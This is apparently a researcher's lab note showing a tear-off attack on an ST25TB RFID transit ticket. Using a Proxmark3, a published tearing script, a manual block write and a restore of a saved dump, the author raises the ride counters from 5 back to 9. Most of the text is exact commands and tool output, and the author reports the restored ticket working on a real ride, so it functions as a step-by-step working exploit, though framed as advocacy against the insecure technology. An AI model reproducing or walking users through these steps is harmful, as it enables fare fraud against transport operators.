After the talk [Tears for fears, breaking an RFID counter](https://www.sstic.org/2024/presentation/tears_for_fears_breaking_an_rfid_counter/) @ SSTIC 2024, I wanted to play with real tickets, in real life. > [!warning] This note is not intended to help to fraud in public transports, but again to _encourage_ the abandonment of this outdated and insecure technology. Spoiler alert, it _can_ work. ## Credits - Tear off attacks: Philippe Teuwen (Quarkslab) & Christian Herrmann (Proxmark3) - https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html - ST25TB tear off: Jean-Joseph Marty, Pierre Granier & Rémy Delion (AMOSSYS) - https://www.sstic.org/2024/presentation/tears_for_fears_breaking_an_rfid_counter/ and their script: https://gitlab.com/SiliconOtter/tears4fears ## The hardware Obviously, you need a Proxmark3 - all versions seem to be ok, but the RDV2 option with latest Iceman's firmware has my preference: https://github.com/RfidResearchGroup/proxmark3 ## The ticket Depending on the city's transport options, you can usually have 1 trip, 2 trips, 10 trips, 1 day, 7 days, etc... Here, I tested with a 10x1h. As expected, each time the ticket is used (after >1h), counters are decremented (by 1 here) | Ride(s) left | Counters values | |-----------------|--------------------------------| | 10 (never used) | 5: `0A 00 00 04`, 6: `FE FF FF FF` | | 9 | 5: `09 00 00 04`, 6: `FD FF FF FF` | | 8 | 5: `08 00 00 04`, 6: `FC FF FF FF` | | 7 | 5: `07 00 00 04`, 6: `FB FF FF FF` | | 6 | 5: `06 00 00 04`, 6: `FA FF FF FF` | | 5 | 5: `05 00 00 04`, 6: `F9 FF FF FF` | > [!info] How it all works is described in: [ST25TB series NFC tags for fun in French public transports](https://raw.githubusercontent.com/gentilkiwi/st25tb_kiemul/main/ST25TB_transport.pdf) After each usage, we backup the content of the card, to be able to restore associated signature after. ``` -rw-r--r-- 1 gentilkiwi gentilkiwi 68 Jun 8 12:52 hf-14b-~-10x1h-10.bin -rw-r--r-- 1 gentilkiwi gentilkiwi 68 Jun 8 12:52 hf-14b-~-10x1h-09.bin -rw-r--r-- 1 gentilkiwi gentilkiwi 68 Jun 8 17:05 hf-14b-~-10x1h-08.bin -rw-r--r-- 1 gentilkiwi gentilkiwi 68 Jun 8 17:06 hf-14b-~-10x1h-07.bin -rw-r--r-- 1 gentilkiwi gentilkiwi 68 Jun 8 20:45 hf-14b-~-10x1h-06.bin -rw-r--r-- 1 gentilkiwi gentilkiwi 68 Jun 8 22:16 hf-14b-~-10x1h-05.bin ... ``` _Here, I did not want to wait to go lower than 5 rides left to test :) - I'm not patient_ ## Counter 0x06 As it can be difficult to achieve to increase the 0x06 counter (at the opposite of 0x05, with more `1` & `0` variations inside), we start with this one to see how high we can go: ### Remember, we started with: ``` [=] 5/0x05 | 05 00 00 04 | | .... [=] 6/0x06 | F9 FF FF FF | | .... ``` ### Tearing ``` gentilkiwi@rog-k:/mnt/c/security$ python3 tears_for_fears.py --strat 1 --block 6 --pm3-client ./proxmark3_rdv2/pm3 UID: ~ Initial Value : F9FFFFFF : 11111111111111111111111111111001 Trigger Value : F7FFFFFF : 11111111111111111111111111110111 Payload Value : EFFFFFFF : 11111111111111111111111111101111 Color coding : Value we started with Target value (trigger|payload) Below target value (trigger|payload) Above target value (trigger|payload) Above initial value Good ? Y/n : Write and tear trigger value : F7FFFFFF Tear timing = 130 us : 100 % : F9FFFFFF : 11111111111111111111111111111001 Tear timing = 130 us : 100 % : F9FFFFFF : 11111111111111111111111111111001 ... Tear timing = 144 us : 88 % : F7FFFFFF : 11111111111111111111111111110111 12 % : F9FFFFFF : 11111111111111111111111111111001 Tear timing = 144 us : 100 % : F7FFFFFF : 11111111111111111111111111110111 Tear timing = 144 us : 88 % : F7FFFFFF : 11111111111111111111111111110111 12 % : FFFFFFFF : 11111111111111111111111111111111 ... Set Reader <-> Card distance to 1 and press enter : 100.0 % : FFFFFFFF : 11111111111111111111111111111111 Trying to consolidate. Keep card at the max distance from the reader. Writing : FEFFFFFF Writing : FDFFFFFF Set Reader <-> Card distance to 0 and press enter : Success ! ``` _We were **very** lucky ultimately..._ ### Reading counter to check ``` [usb] pm3 --> hf 14b rdbl --block 0x06 [+] block 06... FD FF FF FF | .... ``` We had `F9 FF FF FF`, and now `FD FF FF FF` (previously associated with value `09 00 00 04` in counter 5) ## Counter 0x05 Usually, this counter is more easy to tear, as far it's not 0! But sometimes we can be less lucky :( ### Remember, we started with: ``` [=] 5/0x05 | 05 00 00 04 | | .... [=] 6/0x06 | F9 FF FF FF | | .... ``` ### Tearing ``` gentilkiwi@rog-k:/mnt/c/security$ python3 tears_for_fears.py --strat 1 --block 5 --pm3-client ./proxmark3_rdv2/pm3 UID: ~ No bits usable for leverage Current value : 05000004 : 00000100000000000000000000000101 ``` No luck... :( > [!danger] we can try to help it with more bits in the counter by decreasing it manually ``` [usb] pm3 --> hf 14b wrbl --block 0x05 --data f0ffff03 [+] SRIX4K Write block 05 - F0 FF FF 03 [+] SRx write block ( ok ) ``` ``` gentilkiwi@rog-k:/mnt/c/security$ python3 tears_for_fears.py --strat 1 --block 5 --pm3-client ./proxmark3_rdv2/pm3 UID: ~ Initial Value : F0FFFF03 : 00000011111111111111111111110000 Trigger Value : EFFFFF03 : 00000011111111111111111111101111 Payload Value : DFFFFF03 : 00000011111111111111111111011111 Color coding : Value we started with Target value (trigger|payload) Below target value (trigger|payload) Above target value (trigger|payload) Above initial value Good ? Y/n : Write and tear trigger value : EFFFFF03 Tear timing = 130 us : 100 % : F0FFFF03 : 00000011111111111111111111110000 Tear timing = 130 us : 100 % : F0FFFF03 : 00000011111111111111111111110000 ... Tear timing = 183 us : 62 % : EFFFFF03 : 00000011111111111111111111101111 38 % : DFFFFF03 : 00000011111111111111111111011111 Set Reader <-> Card distance to 1 and press enter : 62.5 % : FFFFFF13 : 00010011111111111111111111111111 37.5 % : FFFFFF1B : 00011011111111111111111111111111 Trying to consolidate. Keep card at the max distance from the reader. Writing : FEFFFF1B Writing : FEFFFF1B Writing : FEFFFF1B Writing : FEFFFF1B Writing : FEFFFF1B ... ``` _here it was looping endlessly :(, `CTRL+C`...._ ### Reading counter to check ``` [usb] pm3 --> hf 14b rdbl --block 0x05 [+] block 05... FF FF FF 13 | .... ``` _here again, we were lucky..._ We had `05 00 00 04`, and now `FF FF FF 13`...writing value `09 00 00 04` in counter 5 is now possible as it's < to current value. ## Restore ticket You can write your own values, or let the Proxmark3 restore blocks for you, then check: ``` [usb] pm3 --> hf 14b restore --512 --file hf-14b-~-10x1h-09.bin [+] Loaded 68 bytes from binary file `hf-14b-~-10x1h-09.bin` [=] Copying to SRI512 [=] SRx write block 15/15 ( ok ) [+] Card loaded 16 blocks from file [=] Done! [usb] pm3 --> hf 14b dump --ns [+] found a SRT512 tag [=] reading tag memory [=] ................. [=] -------- SRT512 tag memory --------- [=] block# | data |lck| ascii [=] ---------+-------------+---+------ [=] 0/0x00 | ** ** ** ** | | .... [=] 1/0x01 | ** ** *0 25 | | .... [=] 2/0x02 | ** ** ** ** | | .... [=] 3/0x03 | 00 00 00 00 | | .... [=] 4/0x04 | 00 00 00 00 | | .... [=] 5/0x05 | 09 00 00 04 | | .... [=] 6/0x06 | FD FF FF FF | | .... [=] 7/0x07 | 00 00 00 00 | | .... ... ``` > [!success] we are now with previous values restored in the ticket! ## Results 1. We now have a ticket with 9 rides left 1. It was 5 before. 2. ~~It will be tested tomorrow - result will be posted here.~~ 1. it worked > [!info] Yes, I have valid tickets to not commit fraud when doing this...